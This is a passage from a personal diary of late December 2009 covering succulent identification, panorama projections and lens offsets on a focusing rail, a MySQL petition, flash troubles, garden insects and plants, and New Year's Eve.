I'm still resolving plant mysteries and finding new mystery plants. We have a large number of surprisingly similar succulents, one of which gave me cause for concern a few months back. Today found a picture and a name (with abysmal pronunciation) on ABC TV:


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So it's an Aeonium haworthii. Under normal circumstances, they're very difficult to distinguish from an Echeveria. Here Echeveria on the left and Aeonium on the right:


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All that changes when they flower. Echeveria produces a flower stem from under a side leaf, but with Aeonium the central stem trumpets out. In addition, for the specimens I've seen, Echeveria has yellowish-red flowers, while Aeonium has many, smaller and almost white flowers:


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I'm not sure I like the Aeonium flowers—they look messy. But I haven't haven't seen this particular one bloom yet.


Tuesday, 29 December 2009 Dereel Images for 29 December 2009
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Rant: the demise of the file system
Topic: technology Link here

Daniel O'Connor ran into a number of the kind of “modern” problem about which I complain from time to time. I mentioned a rant, and went looking for one, but I didn't find it. Why not? I thought I ranted on all such topics. Maybe it's hidden in the diary; I'm sure I've complained dozens of times about spaces in file names and programs that tear path names apart into three components (directory, file name and extension), not to mention a myriad of other woes. But where's the rant? I should work on one.


Panorama projections
Topic: photography Link here

Continued reading “Photographic Multishot Techniques: High Dynamic Range, Super-Resolution, Extended Depth of Field, Stitching”, which has some interesting stuff. It at least led me through a number of issues about panoramas, including projections. For the fun of it, tried the various projections that Hugin offers on one of last week's panoramas, which in the raw has an angle of 322°. Rectangular was useless (as the book warned), but others were quite interesting. Some projections are limited to an angle of 180°. There were a number of interesting possibilities, but also a few really strange ones:


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Albers equal area conic


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Stereographic


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Transmercator

The complete collection is in my photo pages.

Another issue, which is probably biting me in the verandah panoramas, is parallax: it moves the foreground relative to the background from one shot to the next. The solution is clear: put the camera on a rail and adjust it so that the “optical centre” of the lens is above the pivot point of the tripod.


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The problem is, it wasn't. The rail doesn't go that far back. By default, it looks like this, and the lower rail has a range of about 10 cm, centred over the pivot of the tripod:


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Both the screw for the camera and the hole in the base are offset accordingly, giving a range of about 5 cm in either direction (second and third photos). By reversing the rails (fortunately that's easy enough) I was able to get a range of about -7 to -17 cm:


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Aren't compact cameras nice? This one (my Nikon “Coolpix” L1) told me that the foreground of the second photo was in focus, when in fact it was the background. Only the large depth of field made the thing roughly recognizable, while of course there's no hope for the background to be out of focus. Maybe I do need a second real camera.

Still, this image and the third show the camera in the correct position for the ZUIKO DIGITAL ED 50mm F2.0 Macro. I've decided to measure to the front of the two slits on the rail holder (the back one is not always visible), showing that this lens needs to be offset by 8.5 cm. For the Olympus lenses I have, the measurements are:

Lens       Offset (cm)
9-18 mm       7.0
12-60 mm (at 12 mm)       6.5
12-60 mm (at 60 mm)       10.0
50 mm       8.5
70-300 mm (at 70 mm)       4.0 (minimum)

The 9-18 mm doesn't seem to have any shift with changing focal length, and it's unlikely that I'd need to worry about the 70-300 mm lens at all, let alone at longer focal lengths. Now I need to wait until Saturday for the next panorama shots.

In passing, it's interesting to note that, while there's a nice scale on both sides of the rail, there's no obvious point to measure things from. The top rail, the one holding the camera plate, has two scales, each starting from the edge of the mount.


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MySQL still under threat?
Topic: technology Link here

A couple of weeks ago Monty Widenius sent mail to activate people to petition the European Commission to provide appropriate safeguards for MySQL. They did indeed put in some safeguards, but they were too soft for my liking. In particular, they're only valid for five years, and there's no undertaking to do anything in particular after that. MySQL owns defensive patents which they have never enforced; Oracle could do that in five years after closing MySQL down.

This is all very much “what if”, but if it does happen, it'll be too late to do anything about it. Now's the time, and Monty's continuing with petitions, this time an open petition. Once again I've signed up. This isn't just a matter for MySQL: it could happen to other open source projects too, though possibly MySQL is a particularly complicated one because of their dual licensing and their patents.

Brute force search

Did one other thing today that Monty wouldn't approve of. It's getting difficult to find photos in my collection; I currently have a total of 59218 photos spread across 1518 directories. Admittedly, I have three copies of most photos in different resolutions, but that's still nearly 20,000 photos, and the number is on the increase. The only way I had to find things was by date, which doesn't always help. What I need is a full text search like MySQL provides, but I currently don't have them stored in a database: it's all text-based. Decided to throw elegance to the winds and modified my photo index page to accept keywords. That took surprisingly little time. At the moment, I'm matching keywords with any corresponding text in a case-insensitive manner, so bee will match “bee”, “beer” and “Beethoven”. And each word is or'd, so even foo bar brings results. It's primitive but surprisingly useful, and it'll help me procrastinate still longer before I set up replication to my remote web site.


Topic: photography Link here

Taking photos of the focusing rail for yesterday's diary wasn't as straightforward as I would expect. I'm still seeing lots of things I can't explain. I took the first photos with my “standard” studio equipment: a bounce flash from each side and the on-camera pop-up flash, all set to manual. But the exposures didn't match. The first of the following three photos had 1 EV less exposure (12.3 EV) than the other two, which had exactly the same exposure (11.3 EV). There's no reason to believe that the flash units weren't fully charged: they do that in a matter of seconds.


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Ended up using the ring flash attachment, which certainly gave more light, and more even light. The following shot was taken at EV 16.6, over 4 stops less than the underexposed ones above.


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But why is there so much trouble taking flash shots?

The answer is: the pop-up flash (and any Olympus-system flash) fires low-intensity flashes ahead of the main flash for things like exposure measurement and maybe focus assist. The former seems to happen even in manual mode. These pre-flashes fire the studio flash, and by the time the shutter opens, they have finished.

Topic: gardening Link here

We have a number of strange flies in the garden. This one tends to hover in a single place for a while before darting off to another place. It's on a Crocosmia here, but it's clearly not looking for nectar: it's not blooming yet, and it has settled on the least developed of the buds. Maybe it was laying eggs, but I didn't see any.


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Topic: opinion, general Link here

Received a flyer recently offering me a free trial copy of “The Week” magazine. That sounded like a good idea: my father used to read it when he was in England, and they have a more concise format than most magazines, so I would stand a chance of actually reading it. But they didn't have a web URL on the flyer, so went looking—and found an offer for six free issues. Following the link gave me this page (duplicates since fixed):


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So the issues aren't free at all. You have to subscribe, and then you can get a full refund in the first 6 weeks. But if you keep the subscription, you end up paying for the “free” issues. Sorry, people, that's not on. If your chosen audience is that stupid, there's probably not much of interest in the magazine anyway.


Thursday, 31 December 2009 Dereel Images for 31 December 2009
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Topic: animals, general Link here

In the bathroom this morning, discovered a dried leaf that had somehow blown in. On further examination, it jumped away:


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No idea how it got in there.


Topic: gardening Link here

Mail from Daniel Nebdal today, identifying yesterday's funny insect as a Hoverfly. Went looking and found yes, indeed, it's either a Simosyrphus grandicornis or a Melangyna viridiceps. But which? The photos of the Simosyrphus grandicornis look quite like my insect, but the Melangyna viridiceps is less recognizable. So I went looking for other photos, some considerably worse than my own hand-held shot, and came up with an article showing the differences, with photos and references to the Wikipedia articles. The problem is, both photos are used in the Simosyrphus grandicornis article. So I still don't know.

We've got other things of interest in the garden, though. I suppose this is a pretty common caterpillar:


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Finally our Crocosmia have started blooming; it looks like the Watsonias are also preparing. I wonder why plants of different species, planted in at different times and in different places, all bloom together. Is it really just the weather? Or the change in the length of the day?


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The Cycad that we planted a year and a half ago hasn't been looking very happy—or at least, I didn't think so, though Laurel Gordon did when she saw it a couple of months ago. But now it's producing a number of new shoots, so I suppose it's getting happier with its position.


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The leaves growing to the left in the background are one of the many volunteer Silver birches that are popping up all over the garden. We had intended to plant them elsewhere, but there are so many that we'll probably throw a lot away.


Topic: photography Link here

The frog photo above shows another problem: the very shallow depth of field. That's very frustrating, because you don't see it clearly until it's too late: say what people want, the “depth of field preview” or the images in the viewfinder are just not accurate enough. But why is the depth of field of this photo (and others I took at the same time) so limited? I took it with flash, but the camera (“P” or program mode) decided to give me an aperture of f/2.2, despite the close distance, with the result that the field is limited to a couple of millimetres depth. It would have been easy enough to set it to f/11 or so, which would have given adequate depth of field, and the flash is clearly capable of much more. It looks as if I'll have to use Aperture Priority mode, like I did for the Crocosmia photo. But why should I have to?


Topic: general Link here

New Year's Eve today, and Chris over for dinner. We're clearly getting old: I can't recall the last time we waited for midnight before welcoming in the New Year. Instead we once again celebrated the New Year as it arrived in Kiritimati, and again in New Zealand, and were in bed before 11 pm.

The weather had been really hot all day. The temperatures once again were in the high 30s, but in the evening we had a cool, wet change—and, as Chris predicted, the obligatory power failure occurred, though this time it was very short.


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